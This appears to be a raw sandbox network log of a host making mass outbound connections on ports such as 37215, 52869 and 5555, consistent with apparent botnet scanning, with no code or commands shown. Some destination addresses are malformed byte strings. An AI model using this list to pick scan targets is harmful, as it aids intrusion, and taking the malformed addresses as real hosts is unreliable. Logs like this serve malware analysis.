Feb 12, 2023 21:25:01.455159903 CET	55486	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:01.455164909 CET	33122	8080	192.168.2.23	50.48.50.46
Feb 12, 2023 21:25:01.455176115 CET	43906	8080	192.168.2.23	53.50.46.50
Feb 12, 2023 21:25:01.487190008 CET	33788	8080	192.168.2.23	50.46.54.48
Feb 12, 2023 21:25:01.487199068 CET	58524	8080	192.168.2.23	49.55.51.46
Feb 12, 2023 21:25:01.487210035 CET	60312	8080	192.168.2.23	49.57.48.46
Feb 12, 2023 21:25:01.519088984 CET	59110	5555	192.168.2.23	49.55.46.50
Feb 12, 2023 21:25:01.538515091 CET	37215	52981	157.14.200.220	192.168.2.23
Feb 12, 2023 21:25:01.551156044 CET	38508	37215	192.168.2.23	197.194.160.175
Feb 12, 2023 21:25:01.551275969 CET	59884	80	192.168.2.23	49.57.48.46
Feb 12, 2023 21:25:01.551326036 CET	37360	80	192.168.2.23	50.48.50.46
Feb 12, 2023 21:25:01.551356077 CET	33230	80	192.168.2.23	51.51.46.51
Feb 12, 2023 21:25:01.551470995 CET	36346	80	192.168.2.23	49.55.51.46
Feb 12, 2023 21:25:01.551501989 CET	42320	80	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:01.551505089 CET	45802	80	192.168.2.23	53.50.46.50
Feb 12, 2023 21:25:01.551529884 CET	37550	80	192.168.2.23	50.46.54.48
Feb 12, 2023 21:25:01.551547050 CET	36672	80	192.168.2.23	49.54.56.46
Feb 12, 2023 21:25:01.551558971 CET	40346	80	192.168.2.23	49.54.51.46
Feb 12, 2023 21:25:01.551582098 CET	44702	80	192.168.2.23	49.55.55.46
Feb 12, 2023 21:25:01.587378979 CET	48132	52869	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:01.610346079 CET	46434	52869	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:01.614914894 CET	59114	52869	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:01.624758959 CET	42788	52869	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:01.631850004 CET	54572	52869	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:01.634356976 CET	36656	52869	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:01.636748075 CET	38184	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:01.646965027 CET	35270	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:01.647034883 CET	33246	8080	192.168.2.23	56.54.46.52
Feb 12, 2023 21:25:01.651397943 CET	45422	52869	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:01.660145998 CET	34784	52869	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:01.714674950 CET	37215	52981	157.48.137.158	192.168.2.23
Feb 12, 2023 21:25:01.714797020 CET	37215	52981	157.48.137.158	192.168.2.23
Feb 12, 2023 21:25:01.715018988 CET	52981	37215	192.168.2.23	157.48.137.158
Feb 12, 2023 21:25:01.807120085 CET	60566	37215	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:01.807130098 CET	43462	37215	192.168.2.23	56.48.46.53
Feb 12, 2023 21:25:01.807142973 CET	34592	37215	192.168.2.23	49.52.53.46
Feb 12, 2023 21:25:01.839047909 CET	33856	37215	192.168.2.23	56.48.46.49
Feb 12, 2023 21:25:01.839057922 CET	53140	37215	192.168.2.23	49.56.50.46
Feb 12, 2023 21:25:01.962826967 CET	52314	8080	192.168.2.23	49.51.56.46
Feb 12, 2023 21:25:01.967045069 CET	22272	5555	192.168.2.23	158.9.128.189
Feb 12, 2023 21:25:01.967045069 CET	22272	5555	192.168.2.23	143.228.227.206
Feb 12, 2023 21:25:01.967077971 CET	55964	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:01.967077017 CET	22272	5555	192.168.2.23	54.22.170.171
Feb 12, 2023 21:25:01.967083931 CET	22272	5555	192.168.2.23	122.186.200.204
Feb 12, 2023 21:25:01.967077017 CET	22272	5555	192.168.2.23	77.156.85.248
Feb 12, 2023 21:25:01.967088938 CET	22272	5555	192.168.2.23	83.45.57.50
Feb 12, 2023 21:25:01.967125893 CET	22272	5555	192.168.2.23	112.76.179.47
Feb 12, 2023 21:25:01.967133045 CET	55218	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:01.967133999 CET	22272	5555	192.168.2.23	70.26.135.5
Feb 12, 2023 21:25:01.967134953 CET	22272	5555	192.168.2.23	23.122.118.159
Feb 12, 2023 21:25:01.967133045 CET	22272	5555	192.168.2.23	65.80.64.185
Feb 12, 2023 21:25:01.967133999 CET	22272	5555	192.168.2.23	217.200.224.243
Feb 12, 2023 21:25:01.967133999 CET	22272	5555	192.168.2.23	202.57.181.108
Feb 12, 2023 21:25:01.967133045 CET	22272	5555	192.168.2.23	45.142.144.81
Feb 12, 2023 21:25:01.967138052 CET	22272	5555	192.168.2.23	211.188.135.88
Feb 12, 2023 21:25:01.967138052 CET	22272	5555	192.168.2.23	117.141.80.48
Feb 12, 2023 21:25:01.967169046 CET	22272	5555	192.168.2.23	69.80.171.83
Feb 12, 2023 21:25:01.967169046 CET	22272	5555	192.168.2.23	68.89.127.44
Feb 12, 2023 21:25:01.967190981 CET	22272	5555	192.168.2.23	157.226.1.238
Feb 12, 2023 21:25:01.967190981 CET	22272	5555	192.168.2.23	63.43.80.240
Feb 12, 2023 21:25:01.967190981 CET	22272	5555	192.168.2.23	46.14.55.114
Feb 12, 2023 21:25:01.967196941 CET	22272	5555	192.168.2.23	64.122.111.200
Feb 12, 2023 21:25:01.967197895 CET	22272	5555	192.168.2.23	128.157.59.88
Feb 12, 2023 21:25:01.967197895 CET	22272	5555	192.168.2.23	187.94.221.70
Feb 12, 2023 21:25:01.967197895 CET	22272	5555	192.168.2.23	169.178.84.60
Feb 12, 2023 21:25:01.967206001 CET	22272	5555	192.168.2.23	52.123.108.131
Feb 12, 2023 21:25:01.967211962 CET	22272	5555	192.168.2.23	99.19.246.7
Feb 12, 2023 21:25:01.967231035 CET	22272	5555	192.168.2.23	62.77.55.53
Feb 12, 2023 21:25:01.967231035 CET	22272	5555	192.168.2.23	107.121.126.105
Feb 12, 2023 21:25:01.967242956 CET	22272	5555	192.168.2.23	91.93.220.243
Feb 12, 2023 21:25:01.967247963 CET	22272	5555	192.168.2.23	140.41.60.0
Feb 12, 2023 21:25:01.967252970 CET	22272	5555	192.168.2.23	95.219.119.123
Feb 12, 2023 21:25:01.967288017 CET	22272	5555	192.168.2.23	59.235.83.123
Feb 12, 2023 21:25:01.967293978 CET	22272	5555	192.168.2.23	222.75.247.119
Feb 12, 2023 21:25:01.967302084 CET	22272	5555	192.168.2.23	157.249.190.157
Feb 12, 2023 21:25:01.967320919 CET	22272	5555	192.168.2.23	119.140.111.33
Feb 12, 2023 21:25:01.967328072 CET	22272	5555	192.168.2.23	112.199.88.142
Feb 12, 2023 21:25:01.967329025 CET	22272	5555	192.168.2.23	139.176.50.125
Feb 12, 2023 21:25:01.967329025 CET	22272	5555	192.168.2.23	107.173.101.212
Feb 12, 2023 21:25:01.967344046 CET	22272	5555	192.168.2.23	152.201.120.21
Feb 12, 2023 21:25:01.967344046 CET	22272	5555	192.168.2.23	96.72.127.221
Feb 12, 2023 21:25:01.967365026 CET	22272	5555	192.168.2.23	170.214.98.82
Feb 12, 2023 21:25:01.967366934 CET	55212	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	167.251.137.81
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	53.42.95.31
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	79.239.188.83
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	89.146.43.0
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	18.148.217.176
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	41.228.87.251
Feb 12, 2023 21:25:01.967366934 CET	22272	5555	192.168.2.23	110.8.246.22
Feb 12, 2023 21:25:01.967389107 CET	22272	5555	192.168.2.23	39.217.74.17
Feb 12, 2023 21:25:01.967422962 CET	22272	5555	192.168.2.23	57.191.185.135
Feb 12, 2023 21:25:01.967423916 CET	22272	5555	192.168.2.23	114.12.90.208
Feb 12, 2023 21:25:01.967428923 CET	22272	5555	192.168.2.23	197.66.151.11
Feb 12, 2023 21:25:01.967431068 CET	22272	5555	192.168.2.23	20.15.216.151
Feb 12, 2023 21:25:01.967431068 CET	22272	5555	192.168.2.23	101.100.34.209
Feb 12, 2023 21:25:01.967432976 CET	22272	5555	192.168.2.23	219.63.23.83
Feb 12, 2023 21:25:01.967438936 CET	22272	5555	192.168.2.23	86.139.226.119
Feb 12, 2023 21:25:01.967447042 CET	22272	5555	192.168.2.23	164.253.232.175
Feb 12, 2023 21:25:01.967457056 CET	22272	5555	192.168.2.23	80.23.3.24
Feb 12, 2023 21:25:01.967457056 CET	22272	5555	192.168.2.23	122.244.223.97
Feb 12, 2023 21:25:01.967457056 CET	22272	5555	192.168.2.23	65.8.253.92
Feb 12, 2023 21:25:01.967467070 CET	22272	5555	192.168.2.23	184.132.111.192
Feb 12, 2023 21:25:01.967457056 CET	22272	5555	192.168.2.23	1.29.245.93
Feb 12, 2023 21:25:01.967467070 CET	22272	5555	192.168.2.23	140.26.24.149
Feb 12, 2023 21:25:01.967467070 CET	22272	5555	192.168.2.23	223.143.248.250
Feb 12, 2023 21:25:01.967467070 CET	22272	5555	192.168.2.23	59.145.236.67
Feb 12, 2023 21:25:01.967467070 CET	22272	5555	192.168.2.23	47.161.12.220
Feb 12, 2023 21:25:01.967467070 CET	22272	5555	192.168.2.23	219.61.106.186
Feb 12, 2023 21:25:01.967504025 CET	22272	5555	192.168.2.23	189.41.71.205
Feb 12, 2023 21:25:01.967515945 CET	22272	5555	192.168.2.23	186.163.139.244
Feb 12, 2023 21:25:01.967516899 CET	22272	5555	192.168.2.23	132.26.6.114
Feb 12, 2023 21:25:01.967542887 CET	22272	5555	192.168.2.23	32.209.137.234
Feb 12, 2023 21:25:01.967545986 CET	22272	5555	192.168.2.23	168.187.108.73
Feb 12, 2023 21:25:01.967575073 CET	22272	5555	192.168.2.23	184.176.186.126
Feb 12, 2023 21:25:01.967576981 CET	22272	5555	192.168.2.23	119.194.12.9
Feb 12, 2023 21:25:01.967581034 CET	22272	5555	192.168.2.23	164.206.104.19
Feb 12, 2023 21:25:01.967591047 CET	22272	5555	192.168.2.23	211.225.149.252
Feb 12, 2023 21:25:01.967593908 CET	22272	5555	192.168.2.23	194.176.40.60
Feb 12, 2023 21:25:01.967601061 CET	22272	5555	192.168.2.23	161.158.160.202
Feb 12, 2023 21:25:01.967602015 CET	22272	5555	192.168.2.23	32.2.207.42
Feb 12, 2023 21:25:01.967601061 CET	22272	5555	192.168.2.23	144.167.1.34
Feb 12, 2023 21:25:01.967602015 CET	22272	5555	192.168.2.23	150.152.240.103
Feb 12, 2023 21:25:01.967601061 CET	22272	5555	192.168.2.23	151.22.232.220
Feb 12, 2023 21:25:01.967601061 CET	22272	5555	192.168.2.23	157.233.74.7
Feb 12, 2023 21:25:01.967607975 CET	22272	5555	192.168.2.23	136.125.99.184
Feb 12, 2023 21:25:01.967601061 CET	22272	5555	192.168.2.23	59.178.173.18
Feb 12, 2023 21:25:01.967601061 CET	22272	5555	192.168.2.23	123.4.135.90
Feb 12, 2023 21:25:01.967631102 CET	22272	5555	192.168.2.23	159.90.242.60
Feb 12, 2023 21:25:01.967638016 CET	22272	5555	192.168.2.23	139.139.63.22
Feb 12, 2023 21:25:01.967638969 CET	22272	5555	192.168.2.23	67.166.45.54
Feb 12, 2023 21:25:01.967638969 CET	22272	5555	192.168.2.23	143.179.78.103
Feb 12, 2023 21:25:01.967657089 CET	22272	5555	192.168.2.23	110.72.109.104
Feb 12, 2023 21:25:01.967680931 CET	22272	5555	192.168.2.23	36.89.145.102
Feb 12, 2023 21:25:01.967709064 CET	22272	5555	192.168.2.23	162.50.161.83
Feb 12, 2023 21:25:01.967729092 CET	22272	5555	192.168.2.23	208.147.151.111
Feb 12, 2023 21:25:01.967766047 CET	22272	5555	192.168.2.23	118.20.159.125
Feb 12, 2023 21:25:01.967782021 CET	22272	5555	192.168.2.23	38.211.3.245
Feb 12, 2023 21:25:01.967787981 CET	22272	5555	192.168.2.23	99.195.239.48
Feb 12, 2023 21:25:01.967792034 CET	22272	5555	192.168.2.23	42.163.165.35
Feb 12, 2023 21:25:01.967809916 CET	22272	5555	192.168.2.23	94.90.201.101
Feb 12, 2023 21:25:01.967819929 CET	22272	5555	192.168.2.23	205.184.222.5
Feb 12, 2023 21:25:01.967852116 CET	22272	5555	192.168.2.23	84.3.71.99
Feb 12, 2023 21:25:01.967855930 CET	22272	5555	192.168.2.23	46.150.168.46
Feb 12, 2023 21:25:01.967855930 CET	22272	5555	192.168.2.23	4.238.71.150
Feb 12, 2023 21:25:01.967859983 CET	22272	5555	192.168.2.23	181.171.158.140
Feb 12, 2023 21:25:01.967865944 CET	22272	5555	192.168.2.23	184.69.119.29
Feb 12, 2023 21:25:01.967891932 CET	22272	5555	192.168.2.23	198.165.61.113
Feb 12, 2023 21:25:01.967977047 CET	22272	5555	192.168.2.23	199.92.184.222
Feb 12, 2023 21:25:01.967977047 CET	22272	5555	192.168.2.23	79.1.50.23
Feb 12, 2023 21:25:01.967978954 CET	22272	5555	192.168.2.23	170.93.204.217
Feb 12, 2023 21:25:01.967993975 CET	22272	5555	192.168.2.23	24.144.3.138
Feb 12, 2023 21:25:01.968004942 CET	22272	5555	192.168.2.23	36.213.148.232
Feb 12, 2023 21:25:01.968014002 CET	22272	5555	192.168.2.23	113.193.207.210
Feb 12, 2023 21:25:01.968023062 CET	22272	5555	192.168.2.23	216.37.71.150
Feb 12, 2023 21:25:01.968058109 CET	22272	5555	192.168.2.23	155.221.211.141
Feb 12, 2023 21:25:01.968059063 CET	22272	5555	192.168.2.23	99.77.51.43
Feb 12, 2023 21:25:01.968066931 CET	22272	5555	192.168.2.23	183.62.223.176
Feb 12, 2023 21:25:01.968074083 CET	22272	5555	192.168.2.23	216.123.166.127
Feb 12, 2023 21:25:01.968080997 CET	22272	5555	192.168.2.23	148.51.109.194
Feb 12, 2023 21:25:01.968102932 CET	22272	5555	192.168.2.23	45.216.84.40
Feb 12, 2023 21:25:01.968102932 CET	22272	5555	192.168.2.23	18.18.94.209
Feb 12, 2023 21:25:01.968163967 CET	22272	5555	192.168.2.23	88.114.105.133
Feb 12, 2023 21:25:01.968178988 CET	22272	5555	192.168.2.23	126.28.33.253
Feb 12, 2023 21:25:01.968190908 CET	22272	5555	192.168.2.23	203.210.70.241
Feb 12, 2023 21:25:01.968194962 CET	22272	5555	192.168.2.23	149.178.60.149
Feb 12, 2023 21:25:01.968199968 CET	22272	5555	192.168.2.23	36.42.55.217
Feb 12, 2023 21:25:01.968206882 CET	22272	5555	192.168.2.23	64.140.199.89
Feb 12, 2023 21:25:01.968229055 CET	22272	5555	192.168.2.23	66.254.12.140
Feb 12, 2023 21:25:01.968229055 CET	22272	5555	192.168.2.23	59.27.97.223
Feb 12, 2023 21:25:01.968251944 CET	22272	5555	192.168.2.23	27.48.244.98
Feb 12, 2023 21:25:01.968259096 CET	22272	5555	192.168.2.23	53.103.103.32
Feb 12, 2023 21:25:01.968277931 CET	22272	5555	192.168.2.23	183.52.117.65
Feb 12, 2023 21:25:01.968282938 CET	22272	5555	192.168.2.23	166.161.249.53
Feb 12, 2023 21:25:01.968307972 CET	22272	5555	192.168.2.23	189.159.50.232
Feb 12, 2023 21:25:01.968318939 CET	22272	5555	192.168.2.23	79.137.5.65
Feb 12, 2023 21:25:01.968322992 CET	22272	5555	192.168.2.23	133.187.53.50
Feb 12, 2023 21:25:01.968343019 CET	22272	5555	192.168.2.23	123.2.199.238
Feb 12, 2023 21:25:01.968343019 CET	22272	5555	192.168.2.23	213.87.29.15
Feb 12, 2023 21:25:01.968367100 CET	22272	5555	192.168.2.23	108.168.49.119
Feb 12, 2023 21:25:01.968378067 CET	22272	5555	192.168.2.23	82.126.99.72
Feb 12, 2023 21:25:01.968390942 CET	22272	5555	192.168.2.23	1.168.46.182
Feb 12, 2023 21:25:01.968399048 CET	22272	5555	192.168.2.23	174.167.20.111
Feb 12, 2023 21:25:01.968400002 CET	22272	5555	192.168.2.23	54.202.170.130
Feb 12, 2023 21:25:01.968400002 CET	22272	5555	192.168.2.23	194.255.32.194
Feb 12, 2023 21:25:01.968405008 CET	22272	5555	192.168.2.23	24.214.178.166
Feb 12, 2023 21:25:01.968466043 CET	22272	5555	192.168.2.23	51.161.212.207
Feb 12, 2023 21:25:01.968476057 CET	22272	5555	192.168.2.23	140.253.226.103
Feb 12, 2023 21:25:01.968476057 CET	22272	5555	192.168.2.23	174.251.102.123
Feb 12, 2023 21:25:01.968496084 CET	22272	5555	192.168.2.23	103.133.189.34
Feb 12, 2023 21:25:01.968502045 CET	22272	5555	192.168.2.23	68.180.170.55
Feb 12, 2023 21:25:01.968508959 CET	22272	5555	192.168.2.23	43.66.139.157
Feb 12, 2023 21:25:01.968523979 CET	22272	5555	192.168.2.23	80.158.72.242
Feb 12, 2023 21:25:01.968528986 CET	22272	5555	192.168.2.23	188.16.13.196
Feb 12, 2023 21:25:01.968708038 CET	38402	8080	192.168.2.23	50.50.57.46
Feb 12, 2023 21:25:01.969813108 CET	22272	5555	192.168.2.23	102.152.113.122
Feb 12, 2023 21:25:01.969813108 CET	22272	5555	192.168.2.23	46.14.48.247
Feb 12, 2023 21:25:01.969813108 CET	22272	5555	192.168.2.23	36.112.196.18
Feb 12, 2023 21:25:01.969813108 CET	22272	5555	192.168.2.23	203.73.159.128
Feb 12, 2023 21:25:01.969813108 CET	22272	5555	192.168.2.23	100.144.90.201
Feb 12, 2023 21:25:01.969813108 CET	22272	5555	192.168.2.23	37.208.172.62
Feb 12, 2023 21:25:01.969814062 CET	22272	5555	192.168.2.23	106.115.6.202
Feb 12, 2023 21:25:01.969814062 CET	22272	5555	192.168.2.23	136.114.179.103
Feb 12, 2023 21:25:01.971024990 CET	55216	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:01.971045971 CET	55214	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:01.971457958 CET	41102	8080	192.168.2.23	52.51.46.49
Feb 12, 2023 21:25:01.973531008 CET	52696	8080	192.168.2.23	54.56.46.49
Feb 12, 2023 21:25:01.976819992 CET	41030	8080	192.168.2.23	49.48.57.46
Feb 12, 2023 21:25:01.983779907 CET	44002	8080	192.168.2.23	51.54.46.49
Feb 12, 2023 21:25:01.998967886 CET	55594	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:25:01.999063015 CET	55220	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:02.002820015 CET	50632	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:25:02.015155077 CET	36330	8080	192.168.2.23	50.49.52.46
Feb 12, 2023 21:25:02.027080059 CET	52022	8080	192.168.2.23	49.56.54.46
Feb 12, 2023 21:25:02.122479916 CET	5555	22272	168.187.108.73	192.168.2.23
Feb 12, 2023 21:25:02.159089088 CET	54920	7574	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:02.225954056 CET	5555	22272	211.225.149.252	192.168.2.23
Feb 12, 2023 21:25:02.226243973 CET	5555	22272	59.27.97.223	192.168.2.23
Feb 12, 2023 21:25:02.226686954 CET	5555	22272	119.194.12.9	192.168.2.23
Feb 12, 2023 21:25:02.230768919 CET	52981	37215	192.168.2.23	41.42.92.20
Feb 12, 2023 21:25:02.230794907 CET	52981	37215	192.168.2.23	41.7.7.138
Feb 12, 2023 21:25:02.230806112 CET	52981	37215	192.168.2.23	197.21.177.75
Feb 12, 2023 21:25:02.230804920 CET	52981	37215	192.168.2.23	41.204.39.148
Feb 12, 2023 21:25:02.230806112 CET	52981	37215	192.168.2.23	197.131.231.236
Feb 12, 2023 21:25:02.230806112 CET	52981	37215	192.168.2.23	1.92.220.6
Feb 12, 2023 21:25:02.230808973 CET	52981	37215	192.168.2.23	41.16.126.204
Feb 12, 2023 21:25:02.230804920 CET	52981	37215	192.168.2.23	197.225.47.48
Feb 12, 2023 21:25:02.230813026 CET	52981	37215	192.168.2.23	41.83.238.171
Feb 12, 2023 21:25:02.230817080 CET	52981	37215	192.168.2.23	41.150.251.233
Feb 12, 2023 21:25:02.230813026 CET	52981	37215	192.168.2.23	41.237.223.6
Feb 12, 2023 21:25:02.230813026 CET	52981	37215	192.168.2.23	157.155.59.40
Feb 12, 2023 21:25:02.230817080 CET	52981	37215	192.168.2.23	157.147.91.87
Feb 12, 2023 21:25:02.230817080 CET	52981	37215	192.168.2.23	41.19.118.134
Feb 12, 2023 21:25:02.230817080 CET	52981	37215	192.168.2.23	157.247.69.146
Feb 12, 2023 21:25:02.230817080 CET	52981	37215	192.168.2.23	197.99.234.113
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	12.205.110.48
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	37.164.242.67
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	157.2.162.183
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	41.73.42.76
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	32.9.71.235
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	197.128.60.52
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	197.144.201.53
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	183.196.11.119
Feb 12, 2023 21:25:02.230859995 CET	52981	37215	192.168.2.23	157.214.74.189
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	163.32.224.121
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	41.92.109.147
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	41.39.209.118
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	41.55.166.248
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	197.96.27.40
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	197.252.182.231
Feb 12, 2023 21:25:02.230873108 CET	52981	37215	192.168.2.23	197.91.95.11
Feb 12, 2023 21:25:02.230886936 CET	52981	37215	192.168.2.23	41.118.165.94
Feb 12, 2023 21:25:02.230886936 CET	52981	37215	192.168.2.23	154.139.140.72
Feb 12, 2023 21:25:02.230889082 CET	52981	37215	192.168.2.23	157.158.187.54
Feb 12, 2023 21:25:02.230886936 CET	52981	37215	192.168.2.23	41.99.5.62
Feb 12, 2023 21:25:02.230886936 CET	52981	37215	192.168.2.23	157.121.189.106
Feb 12, 2023 21:25:02.230906010 CET	52981	37215	192.168.2.23	157.113.156.187
Feb 12, 2023 21:25:02.230906010 CET	52981	37215	192.168.2.23	197.175.39.134
Feb 12, 2023 21:25:02.230906010 CET	52981	37215	192.168.2.23	90.146.108.142
Feb 12, 2023 21:25:02.230909109 CET	52981	37215	192.168.2.23	41.51.21.129
Feb 12, 2023 21:25:02.230909109 CET	52981	37215	192.168.2.23	143.230.135.126
Feb 12, 2023 21:25:02.230911016 CET	52981	37215	192.168.2.23	157.25.213.193
Feb 12, 2023 21:25:02.230911016 CET	52981	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:02.230911016 CET	52981	37215	192.168.2.23	41.94.138.171
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	41.221.13.179
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	197.215.65.33
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	52.187.8.117
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	41.39.132.52
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	195.189.27.28
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	41.107.192.207
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	41.8.6.210
Feb 12, 2023 21:25:02.230918884 CET	52981	37215	192.168.2.23	157.201.46.21
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	51.127.30.13
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	157.242.241.195
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	41.48.66.48
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	157.164.150.244
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	169.228.8.174
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	88.8.16.227
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	197.140.221.223
Feb 12, 2023 21:25:02.230932951 CET	52981	37215	192.168.2.23	157.197.127.97
Feb 12, 2023 21:25:02.230998039 CET	52981	37215	192.168.2.23	53.212.228.101
Feb 12, 2023 21:25:02.231002092 CET	52981	37215	192.168.2.23	131.85.104.100
Feb 12, 2023 21:25:02.231003046 CET	52981	37215	192.168.2.23	157.45.254.89
Feb 12, 2023 21:25:02.231028080 CET	52981	37215	192.168.2.23	197.61.197.230
Feb 12, 2023 21:25:02.231028080 CET	52981	37215	192.168.2.23	32.41.50.219
Feb 12, 2023 21:25:02.231028080 CET	52981	37215	192.168.2.23	41.173.200.203
Feb 12, 2023 21:25:02.231034040 CET	52981	37215	192.168.2.23	157.63.5.80
Feb 12, 2023 21:25:02.231048107 CET	52981	37215	192.168.2.23	157.138.111.154
Feb 12, 2023 21:25:02.231048107 CET	52981	37215	192.168.2.23	197.236.35.44
Feb 12, 2023 21:25:02.231057882 CET	52981	37215	192.168.2.23	9.150.214.26
Feb 12, 2023 21:25:02.231057882 CET	52981	37215	192.168.2.23	49.247.234.102
Feb 12, 2023 21:25:02.231059074 CET	52981	37215	192.168.2.23	41.41.72.165
Feb 12, 2023 21:25:02.231057882 CET	52981	37215	192.168.2.23	41.85.245.128
Feb 12, 2023 21:25:02.231057882 CET	52981	37215	192.168.2.23	41.165.76.189
Feb 12, 2023 21:25:02.231057882 CET	52981	37215	192.168.2.23	197.227.16.63
Feb 12, 2023 21:25:02.231064081 CET	52981	37215	192.168.2.23	179.123.38.82
Feb 12, 2023 21:25:02.231069088 CET	52981	37215	192.168.2.23	157.204.146.12
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	41.100.245.22
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	80.228.72.198
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	157.111.174.43
Feb 12, 2023 21:25:02.231076002 CET	52981	37215	192.168.2.23	197.135.214.10
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	32.139.101.252
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	157.27.43.14
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	197.38.162.190
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	157.34.90.232
Feb 12, 2023 21:25:02.231071949 CET	52981	37215	192.168.2.23	41.74.75.81
Feb 12, 2023 21:25:02.231084108 CET	52981	37215	192.168.2.23	197.206.200.137
Feb 12, 2023 21:25:02.231084108 CET	52981	37215	192.168.2.23	76.123.220.220
Feb 12, 2023 21:25:02.231101990 CET	52981	37215	192.168.2.23	197.43.109.98
Feb 12, 2023 21:25:02.231108904 CET	52981	37215	192.168.2.23	52.157.14.105
Feb 12, 2023 21:25:02.231117964 CET	52981	37215	192.168.2.23	44.197.2.242
Feb 12, 2023 21:25:02.231122017 CET	52981	37215	192.168.2.23	41.160.211.185
Feb 12, 2023 21:25:02.231149912 CET	52981	37215	192.168.2.23	157.67.54.248
Feb 12, 2023 21:25:02.231170893 CET	52981	37215	192.168.2.23	157.112.44.232
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	197.186.89.245
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	41.32.167.81
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	157.125.86.167
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	157.197.41.235
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	157.45.234.3
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	157.196.181.215
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	41.112.18.190
Feb 12, 2023 21:25:02.231203079 CET	52981	37215	192.168.2.23	157.53.47.107
Feb 12, 2023 21:25:02.231211901 CET	52981	37215	192.168.2.23	197.4.211.79
Feb 12, 2023 21:25:02.231211901 CET	52981	37215	192.168.2.23	41.107.162.107
Feb 12, 2023 21:25:02.231231928 CET	52981	37215	192.168.2.23	197.185.146.253
Feb 12, 2023 21:25:02.231231928 CET	52981	37215	192.168.2.23	197.222.53.179
Feb 12, 2023 21:25:02.231231928 CET	52981	37215	192.168.2.23	41.121.1.54
Feb 12, 2023 21:25:02.231231928 CET	52981	37215	192.168.2.23	197.220.248.74
Feb 12, 2023 21:25:02.231235981 CET	52981	37215	192.168.2.23	197.179.131.71
Feb 12, 2023 21:25:02.231235981 CET	52981	37215	192.168.2.23	41.70.135.50
Feb 12, 2023 21:25:02.231236935 CET	52981	37215	192.168.2.23	197.31.161.182
Feb 12, 2023 21:25:02.231245041 CET	52981	37215	192.168.2.23	14.224.191.28
Feb 12, 2023 21:25:02.231236935 CET	52981	37215	192.168.2.23	197.33.8.230
